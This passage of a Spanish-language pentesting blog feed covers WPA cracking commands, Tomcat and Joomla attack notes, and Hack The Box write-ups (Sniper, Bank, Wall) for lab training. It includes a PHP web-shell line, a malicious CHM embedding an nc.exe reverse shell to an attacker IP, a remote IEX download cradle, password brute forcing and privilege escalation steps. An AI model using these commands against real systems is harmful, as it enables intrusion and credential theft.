<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>crunch 8 9 abc123
</code></pre></div></div>
<p>(Because it is 58TB long, we short the output just with the characters “abc123”)</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>crunch 11 11 <span class="nt">-t</span> Password%%%
</code></pre></div></div>
<p>(Generate an 11 lenght password + 3 numbers dictionary)</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>crunch 1 1 <span class="nt">-p</span> dog <span class="nb">cat </span>house 
</code></pre></div></div>
<p>(Generate an all combinations of theese words wordlist)</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>crunch 5 5 <span class="nt">-t</span> ddd%% <span class="nt">-p</span> dog <span class="nb">cat </span>bird
</code></pre></div></div>
<p>(Generate an all combinations of theese words wordlist and add 2 numbers)</p>

<h3 id="pipe-wordlists-to-aircrack">Pipe wordlists to aircrack</h3>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>crunch 11 11 <span class="nt">-t</span> Password%% | aircrack-ng <span class="nt">-e</span> wifu wpa-02.cap <span class="nt">-w</span> - 
</code></pre></div></div>

<h2 id="aircrack-ng-with-rsmangler">Aircrack-ng with RSMangler</h2>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rsmangler <span class="nt">--file</span> wordlist.txt <span class="nt">--min</span> 12 <span class="nt">--max</span> 13 | aircrack-ng <span class="nt">-e</span> wifu wpa-03.cap <span class="nt">-w</span> - 
</code></pre></div></div>

<h1 id="cracking-hash-with-hashcat">Cracking hash with Hashcat</h1>
<p>We need to transform the cap file int o a hccapx.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>apt <span class="nb">install </span>hashcat-utils
cap2hccapx wifu-01.cap output.hccapx
hashcat <span class="nt">-m</span> 2500 output.hccapx /usr/share/john/password.lst
</code></pre></div></div>

<h1 id="airolib-ng-rt">Airolib-ng (RT)</h1>
<p>Airolib-ng is a tool designed to store and manage ESSID and password lists, compute their Pairwise Master Keys (PMK), and use them in order to crack WPA and WPA2 PSK passphrases. It uses the lightweight <em>SQLite3</em> database as its storage mechanism, which is available on most platforms. (Rainbow tables)</p>

<h2 id="file-with-the-essid">File with the ESSID</h2>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo </span>wifu <span class="o">&gt;</span> essid.txt
</code></pre></div></div>

<h2 id="importing-essid-into-airolib-ng-db">Importing ESSID into airolib-ng db</h2>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>airolib-ng wifu.sqlite <span class="nt">--import</span> essid essid.txt
</code></pre></div></div>

<h2 id="displaying-stored-info">Displaying stored info</h2>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>airolib-ng wifu.sqlite <span class="nt">--stats</span>
</code></pre></div></div>

<h2 id="import-passwords-dict">Import passwords dict</h2>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>airolib-ng wifu.sqlite <span class="nt">--import</span> passwd /usr/share/john/password.lst
</code></pre></div></div>

<h2 id="compute">Compute</h2>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>airolib-ng wifu.sqlite <span class="nt">--batch</span>
</code></pre></div></div>

<h2 id="displaying-stored-info-1">Displaying stored info</h2>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>airolib-ng wifu.sqlite <span class="nt">--stats</span>
</code></pre></div></div>

<h2 id="cracking-with-a-db-in-aircrack-ng">Cracking with a DB in aircrack-ng</h2>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>aircrack-ng <span class="nt">-r</span> wifu.sqlite wpa1-01.cap
</code></pre></div></div>

<h1 id="cowpatty-rt">coWPAtty (RT)</h1>
<h2 id="generating-the-rainbow-table">Generating the Rainbow Table</h2>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>genpmk <span class="nt">-f</span> /usr/share/john/password.lst <span class="nt">-s</span> wifu <span class="nt">-d</span> wifuhashes 
</code></pre></div></div>
<p>(Where wifu is the ESSID, and wifuhashes the outputfile)</p>

<h2 id="cracking-with-cowpatty">Cracking with cowpatty</h2>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cowpatty <span class="nt">-r</span> wpajohn-01.cap <span class="nt">-s</span> wifu <span class="nt">-d</span> wifuhashes
</code></pre></div></div>]]></content><author><name>creep33</name></author><category term="Wifi" /><category term="CLI" /><category term="Aircrack-ng" /><category term="Wifi Hacking" /><category term="WPA" /><summary type="html"><![CDATA[En este post se describe como realizar un ataque a WPA utilizando aircrack-ng desde poner la tarjeta en modo monitor hasta comprobar si la contraseña extraída es válida o es una autenticación errónea del usuario.]]></summary></entry><entry><title type="html">Apache Tomcat</title><link href="https://creep33.com/Apache-Tomcat/" rel="alternate" type="text/html" title="Apache Tomcat" /><published>2022-01-07T00:00:00+00:00</published><updated>2022-01-07T00:00:00+00:00</updated><id>https://creep33.com/Apache-Tomcat</id><content type="html" xml:base="https://creep33.com/Apache-Tomcat/"><![CDATA[<h1 id="definición">Definición</h1>
<p>Apache Tomcat funciona como un contenedor de servlets desarrollado bajo el proyecto Jakarta en la Apache Software Foundation. Tomcat implementa las especificaciones de los servlets y de JavaServer Pages de Oracle Corporation.</p>

<h1 id="explotación">Explotación</h1>
<h2 id="web">Web</h2>
<blockquote>
  <p>/manger/html -&gt;  Ruta de administración</p>
</blockquote>

<p>Credenciales por defecto:</p>
<blockquote>
  <p>USER: tomcat</p>
</blockquote>

<blockquote>
  <p>PASS: tomcat</p>
</blockquote>

<h3 id="path-vuln">Path vuln</h3>
<p>Si la ruta /manager/html está bloqueada, se puede tratar de acceder a esta mediante:</p>
<blockquote>
  <p>/lalala/..;/manager/html</p>
</blockquote>

<p>O mediante un parámetro:</p>
<blockquote>
  <p>/;param=value/manager/html</p>
</blockquote>

<h2 id="archivos-relevantes">Archivos Relevantes</h2>

<blockquote>
  <p>/usr/share/tomcat*/conf/tomcat-users.xml -&gt; Archivo con credenciales hardcodeadas</p>
</blockquote>

<hr />

<p>Escrito el 07-01-2022 a las 09:11 pm por creep33.</p>]]></content><author><name>creep33</name></author><category term="Concepts" /><category term="CMS" /><summary type="html"><![CDATA[Posibles vectores de ataque al enfrentarse a un Apache Tomcat, rutas relevantes y archivos de configuración post-explotación relevantes.]]></summary></entry><entry><title type="html">Joomla</title><link href="https://creep33.com/Joomla/" rel="alternate" type="text/html" title="Joomla" /><published>2022-01-07T00:00:00+00:00</published><updated>2022-01-07T00:00:00+00:00</updated><id>https://creep33.com/Joomla</id><content type="html" xml:base="https://creep33.com/Joomla/"><![CDATA[<h1 id="definición">Definición</h1>
<p>Joomla! es un sistema de gestión de contenidos que permite desarrollar sitios web dinámicos e interactivos. Permite crear, modificar o eliminar contenido de un sitio web de manera sencilla a través de un “panel de administración”.</p>

<h1 id="explotación">Explotación</h1>
<p>Una vez hemos iniciado con credenciales válidas y con capacidad de editar. Nos dirigimos a: Extensions &gt; Templates &gt; Templates &gt; Protostar Details and Files &gt; index.php.</p>

<p>Y añadimos la línea:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">echo</span> <span class="s2">"&lt;pre&gt;"</span> <span class="mf">.</span> <span class="nb">shell_exec</span><span class="p">(</span><span class="nv">$_REQUEST</span><span class="p">[</span><span class="s1">'cmd'</span><span class="p">])</span> <span class="mf">.</span> <span class="s2">"&lt;/pre&gt;"</span><span class="p">;</span>
</code></pre></div></div>]]></content><author><name>creep33</name></author><category term="Concepts" /><category term="CMS" /><summary type="html"><![CDATA[Posibles vectores de ataque al enfrentarse a un Joomla, rutas relevantes y archivos de configuración post-explotación relevantes.]]></summary></entry><entry><title type="html">HTB-Sniper</title><link href="https://creep33.com/HTB-Sniper/" rel="alternate" type="text/html" title="HTB-Sniper" /><published>2021-12-29T00:00:00+00:00</published><updated>2021-12-29T00:00:00+00:00</updated><id>https://creep33.com/HTB-Sniper</id><content type="html" xml:base="https://creep33.com/HTB-Sniper/"><![CDATA[<center><img src="/assets/images/WriteUps/Sniper.png" /></center>

<p>IP -&gt; 10.10.10.151</p>

<h1 id="reconocimiento">Reconocimiento</h1>
<h2 id="nmap">Nmap</h2>
<p>Utilizamos <a href="/Nmap/">nmap</a> y obtenemos los siguientes resultados.</p>

<p><a href="/assets/files/WriteUps/Sniper.txt">Sniper Nmap Result</a></p>

<h2 id="crackmapexec">Crackmapexec</h2>
<p>Usamos <a href="/Crackmapexec/">Crackmapexec</a> para enumerar información del <a href="/Active-Directory/">Active Directory</a> y añadimos el dominio al /etc/hosts</p>
<blockquote>
  <p>OS: Windows 10
Dominio: Sniper
Signing: False
SMBv1: False</p>
</blockquote>

<h2 id="smbclient-y-smbhost">smbclient y smbhost</h2>
<p>Listamos servicios mediante un [null session](/SMB/
Pero necesitamos credenciales.</p>

<h2 id="http">http</h2>
<p>En la misma página, encontramos los directorios:</p>

<blockquote>
  <p>/blog/index.php -&gt; Podemos utilizar distintos idiomas. -&gt; Cada idioma tiene un archivo asociado. 
/user/login.php -&gt; Panel de inicio de sesión -&gt; Probamos credenciales por defecto</p>
</blockquote>

<ul>
  <li>Probamos un path traversal, en el parámetro lang.</li>
</ul>

<blockquote>
  <p>Tenemos LFI</p>
</blockquote>

<ul>
  <li>Probamos a convertirlo en un remote file inclusion.</li>
</ul>

<p>Pero no funciona</p>

<ul>
  <li>Probamos a cargar un archivo smb para tratar de crackear el hash.</li>
</ul>

<blockquote>
  <p>Es vulnerable a RFI por <a href="/SMB/">SMB</a>. Pero no vemos ningún hash.</p>
</blockquote>

<ul>
  <li>Tenemos que crear un recurso compartido con smbd linux.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>service smbd start
net usershare add smbFolder <span class="si">$(</span><span class="nb">pwd</span><span class="si">)</span> <span class="s1">''</span> <span class="s1">'Everyone:F'</span> <span class="s1">'guest_ok=y'</span>
</code></pre></div></div>

<ul>
  <li>Creamos un archivo txt a modo de prueba</li>
</ul>

<p>Triggeamos el RFI y funciona.</p>

<ul>
  <li>Cargamos una webShell por php</li>
</ul>

<blockquote>
  <p>webShell</p>
</blockquote>

<p>Nos enviamos una reverse shell cmd con <strong>nc.exe</strong>.</p>

<h1 id="user-pivoting-chris">User Pivoting (Chris)</h1>

<h2 id="os">OS</h2>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">whoami</span><span class="w"> </span><span class="nx">/priv</span><span class="w">
</span></code></pre></div></div>

<blockquote>
  <p>SeImpersonatePrivilege -&gt; Podríamos utilizar [[Juicy Potato]] pero vamos a explotar la máquina de la forma intencionada.</p>
</blockquote>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">cd</span><span class="w"> </span><span class="nx">C:\inetpub\wwwroot</span><span class="w">
</span><span class="n">dir</span><span class="w">
</span><span class="nx">cd</span><span class="w"> </span><span class="nx">user</span><span class="w">
</span><span class="n">dir</span><span class="w">
</span><span class="nx">net</span><span class="w"> </span><span class="nx">user</span><span class="w">
</span><span class="n">net</span><span class="w"> </span><span class="nx">user</span><span class="w"> </span><span class="nx">Chris</span><span class="w">
</span></code></pre></div></div>

<blockquote>
  <p>db.php -&gt; Credentials
Chris está en el “Remote Management Users” -&gt; <a href="/winrm/">winrm</a></p>
</blockquote>

<p>Probamos las credenciales para el usuario “Chris”. Son válidas. Pero no tenemos PWNED
El <a href="/winrm/">winrm</a> no está expuesto hacia fuera, hacemos port forwarding con <a href="/Chisel/">Chisel</a> del puerto 5985.</p>

<p>Nos conectamos con [<a href="/winrm/">winrm</a> a localhost con las credenciales de “Chris”
[ ! ] AppLockerBypass puede ser necesario.</p>

<h1 id="privesc">PrivEsc</h1>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kr">type</span><span class="w"> </span><span class="n">C:\Users\Chris\desktop\user.txt</span><span class="w">
</span><span class="nx">whoami</span><span class="w"> </span><span class="nx">/priv</span><span class="w">
</span><span class="n">cd</span><span class="w"> </span><span class="nx">C:\</span><span class="w">
</span><span class="n">dir</span><span class="w">
</span><span class="nx">cd</span><span class="w"> </span><span class="nx">Docs</span><span class="w">
</span><span class="n">dir</span><span class="w">
</span><span class="nx">type</span><span class="w"> </span><span class="nx">note.txt</span><span class="w">
</span><span class="n">cd</span><span class="w"> </span><span class="nx">C:\Users\Chris</span><span class="w">
</span><span class="n">dir</span><span class="w">
</span><span class="nx">cd</span><span class="w"> </span><span class="nx">Downloads</span><span class="w">
</span><span class="n">dir</span><span class="w">
</span></code></pre></div></div>

<blockquote>
  <p>user.txt</p>
</blockquote>

<blockquote>
  <p>note.txt -&gt; En la nota vemos que tenemos que dejar la documentación de una nueva app en la carpeta C:\Docs
instructions.chm -&gt; Este tipo de archivos son archivos de ayuda</p>
</blockquote>

<p>Sospechamos que el tipo de archivo que tenemos que crear es un .chm
Buscamos por “create malicious chm file”. Para crearlo necesitamos hacerlo en una máquina windows de atacante.</p>

<ul>
  <li>Descargamos HTML Help Workshop porque la herramienta lo requiere.</li>
  <li>Utilizamos la herramienta de “nishang” <a href="https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1">Out-CHM.ps1</a></li>
  <li>Nos sincronizamos al recurso y creamos el archivo malicioso.</li>
</ul>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">IEX</span><span class="p">(</span><span class="n">New-Object</span><span class="w"> </span><span class="nx">Net.WebClient</span><span class="p">)</span><span class="o">.</span><span class="nf">downloadString</span><span class="p">(</span><span class="s1">'https://raw.githubusercontent.com/samratashok/nishang/master/Client/Out-CHM.ps1'</span><span class="p">)</span><span class="w">
</span><span class="n">Out-CHM</span><span class="w"> </span><span class="s2">"C:\Users\Chris\Desktop\nc.exe -e cmd 10.10.14.13 443"</span><span class="w"> </span><span class="nt">-HHCPath</span><span class="w"> </span><span class="s2">"C:\Program Files (x86)\HTML Help Workshop"</span><span class="w">
</span></code></pre></div></div>

<ul>
  <li>Movemos el archivo malicioso a la máquina víctima a la ruta C:\Docs y nos ponemos en escucha con <strong>netcat</strong>.</li>
</ul>

<blockquote>
  <p>root.txt</p>
</blockquote>

<hr />

<p>Escrito el 29-12-2021 a las 01:41 am por creep33.</p>]]></content><author><name>creep33</name></author><category term="WriteUps" /><category term="HTB" /><summary type="html"><![CDATA[WriteUp con metodología de la máquina Sniper.]]></summary></entry><entry><title type="html">HTB-Bank</title><link href="https://creep33.com/HTB-Bank/" rel="alternate" type="text/html" title="HTB-Bank" /><published>2021-12-28T00:00:00+00:00</published><updated>2021-12-28T00:00:00+00:00</updated><id>https://creep33.com/HTB-Bank</id><content type="html" xml:base="https://creep33.com/HTB-Bank/"><![CDATA[<center><img src="/assets/images/WriteUps/Bank.png" /></center>

<p>IP -&gt; 10.10.10.29</p>

<h1 id="reconocimiento">Reconocimiento</h1>
<h2 id="nmap">Nmap</h2>
<p>Utilizamos <a href="/Nmap/">nmap</a> y obtenemos los siguientes resultados.</p>

<p><a href="/assets/files/WriteUps/Bank.txt">Bank Nmap Result</a></p>

<h2 id="http">http</h2>
<h3 id="whatweb">whatweb</h3>
<p>Utilizamos <a href="/whatweb/">whatweb</a> para extraer informacion pero no obtenemos ninguna información relevante.</p>

<h3 id="virtual-hosting">Virtual Hosting</h3>
<p>Probamos a ver si se está realizando virtual hosting. Con el dominio “bank.htb”.</p>

<blockquote>
  <p>Añadimos en dominio “bank.htb” al /etc/hosts</p>
</blockquote>

<h4 id="bankhtb">bank.htb</h4>
<p>Vemos un panel de inicio de sesión. Probamos credenciales por defecto pero no conseguimos nada.</p>

<h5 id="fuzzing">Fuzzing</h5>
<p>Fuzzeamos el servicio http con herramientas como <a href="/wfuzz/">wfuzz</a> o <a href="/gobuster/">gobuster</a>. Y obtenemos los siguientes resultados.</p>

<blockquote>
  <p>/uploads -&gt; 403
/assets -&gt; Unrelevant directories 
/inc -&gt; 4 php scripts
/balance-transfer -&gt; Lots of .acc files.</p>
</blockquote>

<p>Vamos a filtrar para ver si hay algun fichero que pese un valor que se sale de la media en /balance-transfer</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> <span class="nt">-X</span> GET <span class="s2">"http://bank.htb/balance-transfer"</span> | <span class="nb">grep</span> <span class="nt">-oP</span> <span class="s1">'[a-z0-9]{32}\.acc.*"right".+\s'</span> | <span class="nb">awk</span> <span class="s1">'{print $1 "-&gt;" $7}'</span> <span class="nv">FS</span><span class="o">=</span><span class="s2">"&gt;"</span> | <span class="nb">tr</span> <span class="nt">-d</span> <span class="s1">'"'</span> | <span class="nb">sort</span> <span class="nt">-k3</span> <span class="nt">-n</span>
</code></pre></div></div>

<blockquote>
  <p>68576f20e9732f1b2edc4df5b8533230.acc-&gt; 257
USER: cris\@bank.htb
PASS: !##HTBB4nkP4ssw0rd!##</p>
</blockquote>

<p>Iniciamos sesión en el panel de inicio de sesión.</p>

<blockquote>
  <p>Panel de “Support”</p>
</blockquote>

<p>Nos permiten subir un archivo al reportar un ticket. Probamos a hacre un ticket de prueba. Y nos reporta que solo podemos subir imágenes. Al subir una imágen vemos que el directorio /uploads es donde se almacenan las imágenes.</p>

<ul>
  <li>Tratamos de subir un archivo php ya que la página funciona con php.</li>
</ul>

<p>Pero nos reporta que tenemos que subir imágenes.</p>

<h5 id="burpsuite">Burpsuite</h5>
<p>Utilizaremos Burpsuite para analizar como se tramite la data.
Al realizar la petición vemos que en la respuesta, hay un comentario que dice que los archivos .htb lo interpreta con php.</p>
<ul>
  <li>Subimos un script en php con extensión htb</li>
</ul>

<blockquote>
  <p>WebShell</p>
</blockquote>

<p>Nos enviamos una reverse shell.</p>

<h2 id="domain">Domain</h2>
<p>Probamos un ataque de transferencia de zona con la herramienta dig sobre el dominio “bank.htb” ya que es un convenio de HTB.</p>

<blockquote>
  <p>DNS: chris.bank.htb -&gt; No vemos nada nuevo</p>
</blockquote>

<h1 id="privesc">PrivEsc</h1>
<h2 id="os">OS</h2>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">whoami
hostname</span> <span class="nt">-I</span>
<span class="nb">cd</span> /home
<span class="nb">ls
cd </span>chris
<span class="nb">ls
cat </span>user.txt
</code></pre></div></div>

<blockquote>
  <p>user.txt</p>
</blockquote>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cd</span> /
find <span class="se">\-</span>perm <span class="nt">-4000</span> 2&gt;/dev/null
</code></pre></div></div>

<blockquote>
  <p>./var/htb/bin/emergency -&gt; Binario compilado de 32 bits SUID</p>
</blockquote>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/var/htb/bin/emergency
</code></pre></div></div>

<p>Lo ejecutamos y somos root</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cd</span> /root
<span class="nb">cat </span>root.txt
</code></pre></div></div>

<blockquote>
  <p>root.txt</p>
</blockquote>

<h1 id="alt-way">Alt-way</h1>
<p>Otra forma de escalar privilegios sería modificar el archvo /etc/passwd ya que “otros” pueden editar el archivo para incrustarle una contraseña a root.
Ex:</p>
<ul>
  <li><a href="/HTB-Ghoul/">Ghoul</a></li>
</ul>

<hr />

<p>Escrito el 28-12-2021 a las 05:47 pm por creep33.</p>]]></content><author><name>creep33</name></author><category term="WriteUps" /><category term="HTB" /><summary type="html"><![CDATA[WriteUp con metodología de la máquina Bank.]]></summary></entry><entry><title type="html">HTB-Wall</title><link href="https://creep33.com/HTB-Wall/" rel="alternate" type="text/html" title="HTB-Wall" /><published>2021-12-28T00:00:00+00:00</published><updated>2021-12-28T00:00:00+00:00</updated><id>https://creep33.com/HTB-Wall</id><content type="html" xml:base="https://creep33.com/HTB-Wall/"><![CDATA[<center><img src="/assets/images/WriteUps/Wall.png" /></center>

<p>IP -&gt; 10.10.10.157</p>

<h1 id="reconocimiento">Reconocimiento</h1>
<h2 id="nmap">Nmap</h2>
<p>Utilizamos <a href="/Nmap/">nmap</a> y obtenemos los siguientes resultados.</p>

<p><a href="/assets/files/WriteUps/Wall.txt">Wall Nmap Result</a></p>

<h2 id="http">http</h2>
<h3 id="whatweb">whatweb</h3>
<p>Utilizamos la herramienta <a href="/whatweb/">whatweb</a> para enumerar información del servicio http. Pero no obtenemos información relevante.</p>

<h3 id="http-enum">http-enum</h3>
<p>Mediante el script <a href="/Nmap/">http-enum</a> fuzzeamos el servicio web.</p>

<h3 id="fuzzing">Fuzzing</h3>
<p>Fuzzeamos el servicio http con herramientas como <a href="/wfuzz/">wfuzz</a> o <a href="/gobuster/">gobuster</a>. Y obtenemos los siguientes resultados.</p>

<blockquote>
  <p>monitoring -&gt; 401 -&gt; Probamos credenciales por defecto.</p>
</blockquote>

<p>Pero no conseguimos nada.</p>

<h3 id="curl">curl</h3>

<ul>
  <li><strong>Cambiamos tipo de petición a POST</strong></li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> <span class="nt">-X</span> POST <span class="s2">"http://10.10.10.157/monitoring -L
</span></code></pre></div></div>

<p>Descubrimos una ruta nueva</p>

<blockquote>
  <p>/centreon</p>
</blockquote>

<h3 id="browser">Browser</h3>
<p>Panel de inicio de sesión. “Centreon”. Buscamos “Centreon default password” pero las credenciales que encontramos no sirven.
Podemos buscar a ver si tiene una API, para realizar pruebas. Encontramos una api</p>

<blockquote>
  <p>/centreon/api/index.php</p>
</blockquote>

<p>Realizamos un ataque de fuerza bruta sobre la api con <a href="/wfuzz/">wfuzz</a></p>

<h3 id="wfuzz-bruteforce">wfuzz bruteforce</h3>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wfuzz <span class="nt">-c</span> <span class="nt">-t</span> 200 <span class="nt">--hc</span><span class="o">=</span>404 <span class="nt">--hh</span><span class="o">=</span>17 <span class="nt">-w</span> /usr/share/seclists/darkweb2017-top10000.txt <span class="nt">-d</span> <span class="s1">'username=admin&amp;password=FUZZ'</span> <span class="s2">"http://10.10.10.157/centreon/api/index.php?action=authenticate"</span>
</code></pre></div></div>

<blockquote>
  <p>USER:: admin
PASS: password1</p>
</blockquote>

<h3 id="browser-1">Browser</h3>
<p>Iniciamos sesión con las credenciales válidas en /centreon</p>

<p>Vamos al panel de about para ver que vesión es.</p>

<blockquote>
  <p>Version: 19.04</p>
</blockquote>

<p>Con <strong>searchsploit</strong> vemos que tiene una vulnerabilidad de RCE.</p>

<h1 id="exploitation">Exploitation</h1>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python centreon.py <span class="s1">'http://10.10.10.157/centreon'</span> admin password1 10.10.14.13 443 2&gt;/dev/null
</code></pre></div></div>

<p>Nos ponemos en escucha con <strong>nc</strong>.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nc <span class="nt">-nlvp</span> 443
</code></pre></div></div>

<p>Pero en un primer momento no funciona.</p>

<ul>
  <li>Analizamos el script.</li>
</ul>

<p>Vemos una ruta, en la que crea un “poller” y la inyección la realiza en el campo “nagios_bin”. Que es el campo “Monitoring Engine Binary”.</p>

<ul>
  <li>Realizamos el proceso manualmente.</li>
</ul>

<p>Nos devuelve un 403 Forbidden. Puede que halla un WAF.</p>

<ul>
  <li>Modificamos el script para que funcione como un RCE, cada uso.</li>
  <li>Probamos diferentes payloads, y nos damos cuenta que el ‘ ‘ no le gusta.</li>
</ul>

<p>[ ! ] En bash el ‘ ‘ también se puede poner como ‘${IFS}’</p>

<ul>
  <li>Nos funciona.</li>
  <li>Nos enviamos una reverse shell “sin usar espacios” (con un index.html y jugando con pipes y curl)</li>
</ul>

<blockquote>
  <p>Recibimos el GET pero no la reverse shell</p>
</blockquote>

<ul>
  <li>Dividimos el comando en 2, primero descargando el archivo a una ruta y después ejecutándolo con bash.</li>
</ul>

<blockquote>
  <p>Tenemos reverse shell.</p>
</blockquote>

<h1 id="privesc">PrivEsc</h1>
<h2 id="os">OS</h2>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cd</span> /home
<span class="nb">ls
cd </span>shelby
<span class="nb">ls
cat </span>user.txt
</code></pre></div></div>

<blockquote>
  <p>No podemos leer el user.txt
Vemos un html.zip</p>
</blockquote>

<p>Vamos a traernos el <strong>html.zip</strong> para analizarlo en nuestra máquina.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>7z x html.zip
<span class="nb">cd </span>html
<span class="nb">grep</span> <span class="nt">-r</span> <span class="nt">-i</span> <span class="s2">"pass"</span>
</code></pre></div></div>

<p>Pero no encontramos nada.</p>
<ul>
  <li>Seguimos analizando la máquina víctima.</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">id
cd</span> / 
find <span class="se">\-</span>perm <span class="nt">-4000</span> 2&gt;/dev/null
</code></pre></div></div>

<blockquote>
  <p>screen-4.5.0 es SUID, y es vulnerable a privilege escalation.</p>
</blockquote>

<p>Con <strong>searchploit</strong> descargamos es script en bash, lo subimos a la máquina víctima ya que cuenta con <strong>gcc</strong>. Lo ejecutamos y somos root.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> /home/shelby/user.txt
<span class="nb">cat</span> /root/root.txt
</code></pre></div></div>

<blockquote>
  <p>user.txt
root.txt</p>
</blockquote>

<hr />

<p>Escrito el 28-12-2021 a las 07:42 pm por creep33.</p>]]></content><author><name>creep33</name></author><category term="WriteUps" /><category term="HTB" /><summary type="html"><![CDATA[WriteUp con metodología de la máquina Wall.]]></summary></entry><entry><title type="html">POP3</title><link href="https://creep33.com/pop3/" rel="alternate" type="text/html" title="POP3" /><published>2021-12-17T00:00:00+00:00</published><updated>2021-12-17T00:00:00+00:00</updated><id>https://creep33.com/pop3</id><content type="html" xml:base="https://creep33.com/pop3/"><![CDATA[<h1 id="definición">Definición</h1>
<p>El Post Office Protocol (POP) es un tipo de red informática y protocolo estándar de Internet que extrae y recupera el correo electrónico de un servidor de correo remoto para su acceso por la máquina host. POP es un protocolo de capa de aplicación en el modelo OSI que proporciona a los usuarios finales la capacidad de obtener y recibir correos electrónicos.</p>

<p>Por defecto opera en los puertos -&gt; 110, 995</p>

<h1 id="explotación">Explotación</h1>
<p>Para utilizar este servicio podemos trabajar desde consola con <strong>netcat</strong>. Para ello necesitamos poseer credenciales de acceso válidas.</p>

<h2 id="autenticación">Autenticación</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nc 10.10.10.10 110
USER user
PASS userpass
</code></pre></div></div>

<h2 id="commands">Commands</h2>
<ul>
  <li>LIST -&gt; Listar correos en la bandeja de entrada.</li>
  <li>RETR &lt;int&gt; -&gt; Mostrar el correo numero &lt;int&gt; de la bandeja de entrada.</li>
</ul>]]></content><author><name>creep33</name></author><category term="Service" /><category term="Windows" /><summary type="html"><![CDATA[Con este servicio podremos listar correos recibidos, proporcionándole credenciales válidas.]]></summary></entry></feed>